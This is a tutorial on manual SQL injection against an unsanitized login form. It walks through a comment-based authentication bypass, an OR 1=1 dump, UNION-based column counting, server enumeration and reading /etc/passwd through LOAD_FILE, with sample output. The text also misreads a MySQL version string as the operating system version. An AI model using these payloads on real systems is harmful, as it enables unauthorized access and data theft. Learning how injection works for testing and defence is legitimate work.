Manual SQL Injection

SQL Injection

SQL injection is the practice of exploiting the vulnerabilities that come along with passing raw text to an SQL query. This is usually done by passing a query into the form field to get parsed by SQL.

SQL Patterns

When it comes to MySQL, it's agnostic of what's going on in a client side app. It's primarily scope-oriented in return the response to queries. It's up to the back-end code to parse, validate, and sanitize text input from the client-side. Let's take a look at a typical MySQL query:

SELECT * FROM users WHERE username = 'UserName' and password = 'Password';

In the query above we're selecting all columns from the Users table where the username we've passed is equal to any of the columns that contain username and the password equals the expected password.

Injection

Imagine a login form that only takes a username, with no sanitation. What we're looking to do in this scenario is create a conditional that always returns true so we get access to all of the columns from this table. To do that we can inject our own SQL into the username field of our form.

For this example we'll pass in the string admin' -- . This transforms the sql query into:

SELECT * FROM useres WHERE username = 'admin' -- AND password = 'password';

As you can see above by passing in the username admin we're expecting that at least one username in the table matches 'admin'. This is followed by the string termination, as well as an SQL comment ' -- which tells SQL not to process anything after. We've essentially eliminated the need for a password.

The only problem with this method is that we're depending on a user named admin to exist in the query. And even then, we're only returning that users information. We can do better by utilizing the OR statement.

SELECT * FROM users WHERE username = 'admin' OR 1=1; -- AND password = 'password';

With this attempt we've passed ' OR 1=1; -- which gives us what we want. A complete list out of all columns in the user table. The OR condition will check either side to determine a truthy value. Obviously 1 =1 is true, so we could care less about passing a username thus the reason for only sending a space ( you can send whatever you want ).

The expected result should looks something like:

Username=admin
Password=adminPass

Username=john
Password=elephants

Unions

The data we received above is great. However, the output may be filtering how many columns the table actually has. To mitigate this we can use a Union statement appended to our injection. Union will combine two results, but only when the column number matches. Let's append Union to our query:

SELECT * FROM users WHERE username = '' UNION SELECT NULL -- AND password = '';

What we've just done is added the ' UNION SELECT NULL -- command to the form. The singular NULL is meant to replace a table value. We can iterate by adding multiple nulls until a response is complete to determine how many columns will match. Additionally if you get the error Error executing query: The used SELECT statements have a different number of columns That means that you're moving in the right direction. It's only a matter of time before we figure out how many columns there are.

SELECT * FROM users WHERE username = '' UNION SELECT NULL,NULL,NULL -- AND password = '';

--OUTPUT
Username=
Password=

Since we received output, instead of error from our result that means that we can successfully say that there are 3 total columns on the table. Now if we replace those nulls with numbers we can get an index on the columns

SELECT * FROM users WHERE username = '' UNION SELECT 1,2,3 -- AND password = '';

--OUTPUT
Username=2
Password=3

Now we know that username is the second column, and password is the third. We can use this to enumerate more information about the server and the user itself.

SELECT * FROM users WHERE username = '' UNION SELECT 1,user(),@@version -- AND password = '';

--OUTPUT
Username=root@localhost
Password=5.0.51a-3ubuntu5

Nice! We now know that the controlling user is root, and the hosting server fpr the sql database is running Ubuntu 5. Lets dig a little deeper.

SELECT * FROM users WHERE username = '' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3 -- AND password = '';

--OUTPUT
Username=
Password=root:x:1000:1346300:root,,,:/:/bin/bash
daemon:x:1000:1012500:daemon,,,:/:/bin/bash
johndoe:x:1000:10125100:john,,,:/home/john:/bin/bash
proftpd:x:1000:61251:proftpd,,,:/home/john:/bin/bash

We now get a list out of all the users on this system. Unfortunately it looks like they all have encrypted password, and no anonymous logins. But we do see they're running the ProFTP client. If we wanted to, we could nmap to get the port it's running on and possibly a version. From there we could search for an exploit and use that vector.

Summary

This section scraped the surface of SQL Injection. The tactics used here won't work for every site, however it should give you a good idea of how to use SQL injections, and what to do with them. For more information, and a good cheat sheet check out: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

Last updated